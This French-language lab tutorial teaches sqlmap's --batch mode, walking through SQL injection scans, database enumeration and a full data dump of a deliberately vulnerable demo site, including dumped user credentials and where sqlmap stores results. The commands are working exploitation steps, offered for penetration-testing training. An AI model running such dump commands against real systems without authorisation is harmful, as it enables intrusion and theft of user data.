Introduction
Dans ce laboratoire, vous allez explorer la puissante fonctionnalité du mode --batch dans sqlmap, un outil populaire de test d'intrusion open-source qui automatise le processus de détection et d'exploitation des failles d'injection SQL. Bien que sqlmap soit très interactif par défaut, demandant souvent à l'utilisateur des décisions pendant un scan, le mode --batch vous permet d'exécuter des scans de manière autonome en choisissant automatiquement la réponse par défaut à toutes les invites. Ceci est particulièrement utile pour automatiser les scans dans des scripts ou pour des évaluations à grande échelle où l'intervention manuelle est irréalisable. Vous apprendrez la différence entre le scan interactif et non interactif, effectuerez un scan manuel, puis utiliserez le mode --batch pour automatiser le processus, y compris un vidage complet des données.
Comprendre le scan interactif vs. non interactif
Dans cette étape, vous allez comprendre la différence fondamentale entre le scan interactif et non interactif avec sqlmap. Par défaut, sqlmap est conçu pour être interactif, ce qui signifie qu'il s'arrêtera fréquemment pendant un scan pour demander à l'utilisateur des informations concernant diverses décisions, telles que la poursuite d'un test spécifique, l'utilisation d'une charge utile particulière ou l'exploitation d'une vulnérabilité. Cette interactivité offre un contrôle précis mais peut être fastidieuse pour les tâches automatisées. Le scan non interactif, quant à lui, permet à sqlmap de prendre des décisions par défaut sans intervention de l'utilisateur, ce qui le rend adapté aux scripts et à l'automatisation à grande échelle.
Commençons par vérifier la version de sqlmap pour nous assurer qu'elle est correctement installée.
sqlmap --version
Vous devriez voir une sortie similaire à celle-ci, indiquant que sqlmap est prêt :
sqlmap version: 1.x.x.x (rXXXX)
Maintenant, jetons un bref coup d'œil au menu d'aide pour voir le drapeau --batch.
sqlmap --help | grep batch
Vous verrez une sortie similaire à :
--batch Never ask for user input, use the default behavior.
Cela confirme l'existence et le but du drapeau --batch.
Exécuter un scan et répondre manuellement aux invites
Dans cette étape, vous allez effectuer un scan sqlmap de base sur une URL connue pour être vulnérable, sans utiliser le drapeau --batch. Cela démontrera la nature interactive de sqlmap et les diverses invites qu'il présente pendant un scan. Vous devrez répondre manuellement à ces invites pour poursuivre le scan.
Nous utiliserons une URL publiquement disponible et vulnérable pour cette démonstration. Veuillez noter que dans un scénario réel, vous ne devriez effectuer des scans que sur des systèmes que vous avez l'autorisation explicite de tester.
Exécutez la commande sqlmap suivante. Portez une attention particulière aux questions posées par sqlmap et à la manière dont vous devez y répondre.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"
Au fur et à mesure que le scan progresse, sqlmap vous posera probablement plusieurs questions. Par exemple :
do you want to keep testing the others (if any)? [y/N]- Vous pouvez appuyer surN(Non) puis surEntrée.sqlmap detected that the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSs? [Y/n]- Vous pouvez appuyer surY(Oui) puis surEntrée.for the remaining tests, do you want to include all tests for 'MySQL', extend provided level and risk values? [Y/n]- Vous pouvez appuyer surY(Oui) puis surEntrée.
Les invites exactes peuvent varier en fonction de la version de sqlmap et de la réponse de la cible. L'essentiel est d'observer que sqlmap nécessite votre saisie pour continuer.
Une fois le scan terminé, sqlmap signalera toutes les vulnérabilités détectées.
---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---
Cette interaction manuelle souligne pourquoi l'automatisation est cruciale pour l'efficacité.
Utiliser le drapeau --batch pour des réponses automatiques par défaut
Dans cette étape, vous allez relancer le scan sqlmap, mais cette fois-ci, vous inclurez le drapeau --batch. Ce drapeau indique à sqlmap d'utiliser automatiquement la réponse par défaut pour toute invite qu'il rencontre, rendant ainsi le scan non interactif. Ceci est extrêmement utile pour la création de scripts et l'automatisation des évaluations de vulnérabilités.
Exécutez la commande suivante, en ajoutant le drapeau --batch :
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
Observez la sortie. Vous remarquerez que sqlmap procède au scan sans s'arrêter pour aucune saisie utilisateur. Toutes les questions qui apparaissaient à l'étape précédente sont maintenant répondues automatiquement avec leurs valeurs par défaut (généralement 'oui' ou 'non' selon le contexte).
La sortie s'affichera en continu, similaire à ceci :
---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---
Ceci démontre la puissance du mode --batch pour les opérations sans surveillance.
Exécuter un vidage complet des données en mode batch
Dans cette étape, vous allez combiner le drapeau --batch avec d'autres options sqlmap pour effectuer une opération plus avancée : le vidage de toutes les données de la base de données, le tout de manière automatisée. Cela montre comment le mode --batch permet des tâches d'exploitation complexes sans intervention manuelle.
Nous utiliserons les options --dbs (énumérer les bases de données), --tables (énumérer les tables), --columns (énumérer les colonnes) et --dump (vidage des entrées) pour extraire les informations. Comme nous utilisons --batch, sqlmap confirmera automatiquement toutes les invites liées à ces opérations.
Tout d'abord, essayons d'énumérer les bases de données en mode batch :
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch
Vous devriez voir sqlmap identifier automatiquement les bases de données sans demander de confirmation. La sortie listera les bases de données trouvées, par exemple :
---
[XX:XX:XX] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
---
Maintenant, essayons de vider toutes les données de la base de données acuart. Cela impliquera l'énumération des tables, puis des colonnes, et enfin le vidage des données.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --dump --batch
Cette commande demandera à sqlmap de :
- Cibler la base de données
acuart(-D acuart). - Vider toutes les données (
--dump). - Le faire en mode batch (
--batch), ce qui signifie qu'il répondra automatiquement "oui" aux invites telles que "voulez-vous vider toutes les tables ?" ou "voulez-vous stocker les hachages dans un fichier ?".
La sortie montrera sqlmap énumérant les tables, puis les colonnes, et enfin vidant les données, le tout sans aucune invite. Ce processus peut prendre un certain temps en fonction de la quantité de données.
---
[XX:XX:XX] [INFO] fetching tables for database 'acuart'
[XX:XX:XX] [INFO] fetching columns for table 'users' in database 'acuart'
[XX:XX:XX] [INFO] dumping table 'users' of database 'acuart'
...
+----+----------+----------+----------+
| id | email | password | uname |
+----+----------+----------+----------+
| 1 | test@test.com | test | test |
| 2 | admin@admin.com | admin | admin |
...
+----+----------+----------+----------+
---
Ceci démontre la capacité d'automatisation complète de sqlmap avec le mode --batch pour l'extraction de données.
Examiner les résultats du scan non supervisé
Dans cette dernière étape, vous allez examiner les résultats des scans non supervisés effectués en mode --batch. sqlmap stocke ses découvertes, y compris les données vidées, dans un répertoire de sortie désigné. Comprendre où ces résultats sont stockés est crucial pour l'analyse post-exploitation et la génération de rapports.
Par défaut, sqlmap crée un répertoire de sortie dans ~/.sqlmap/output/ (ou /root/.sqlmap/output/ si exécuté en tant que root, mais dans ce laboratoire, c'est ~/.sqlmap/output/). À l'intérieur de ce répertoire, il y aura des sous-répertoires nommés d'après l'hôte cible.
Tout d'abord, naviguez vers le répertoire de sortie de sqlmap :
cd ~/.sqlmap/output/
Maintenant, listez le contenu de ce répertoire pour trouver le dossier de l'hôte cible :
ls -F
Vous devriez voir un répertoire nommé testphp.vulnweb.com/ ou similaire.
testphp.vulnweb.com/
Naviguez dans le répertoire de la cible :
cd testphp.vulnweb.com/
Listez à nouveau le contenu. Vous trouverez divers fichiers et répertoires contenant les résultats du scan, y compris des fichiers journaux, des données vidées et potentiellement d'autres découvertes.
ls -F
Vous pourriez voir des fichiers comme log, session.sqlite, et des répertoires comme dump/.
dump/ log session.sqlite target.txt
Maintenant, regardons dans le répertoire dump pour voir les données extraites :
ls -F dump/
Vous devriez voir un répertoire pour la base de données acuart, et à l'intérieur, des fichiers correspondant aux tables vidées (par exemple, users.csv).
dump/acuart/
Enfin, vous pouvez afficher le contenu d'un fichier vidé, par exemple, le fichier users.csv :
cat dump/acuart/users.csv
Cela affichera les données que sqlmap a extraites de la table users, confirmant le succès de votre vidage de données automatisé.
id,email,password,uname
1,test@test.com,test,test
2,admin@admin.com,admin,admin
...
Ceci conclut le laboratoire sur l'automatisation des scans sqlmap avec le mode batch. Vous avez réussi à effectuer des scans interactifs et non interactifs et à extraire des données de manière automatisée.
Résumé
Dans ce laboratoire, vous avez acquis une expérience pratique du mode --batch de sqlmap, une fonctionnalité essentielle pour automatiser les évaluations de vulnérabilités d'injection SQL. Vous avez commencé par comprendre la différence entre le scan interactif et non interactif, en observant comment sqlmap demande généralement une saisie utilisateur. Vous avez ensuite exécuté avec succès des scans en utilisant le drapeau --batch, démontrant comment il rationalise le processus en fournissant automatiquement des réponses par défaut à toutes les invites. Enfin, vous avez effectué un vidage de données automatisé et appris à localiser et examiner les résultats stockés par sqlmap dans son répertoire de sortie. Ces connaissances sont fondamentales pour intégrer sqlmap dans des pipelines de tests de sécurité automatisés et pour une analyse efficace des vulnérabilités à grande échelle.


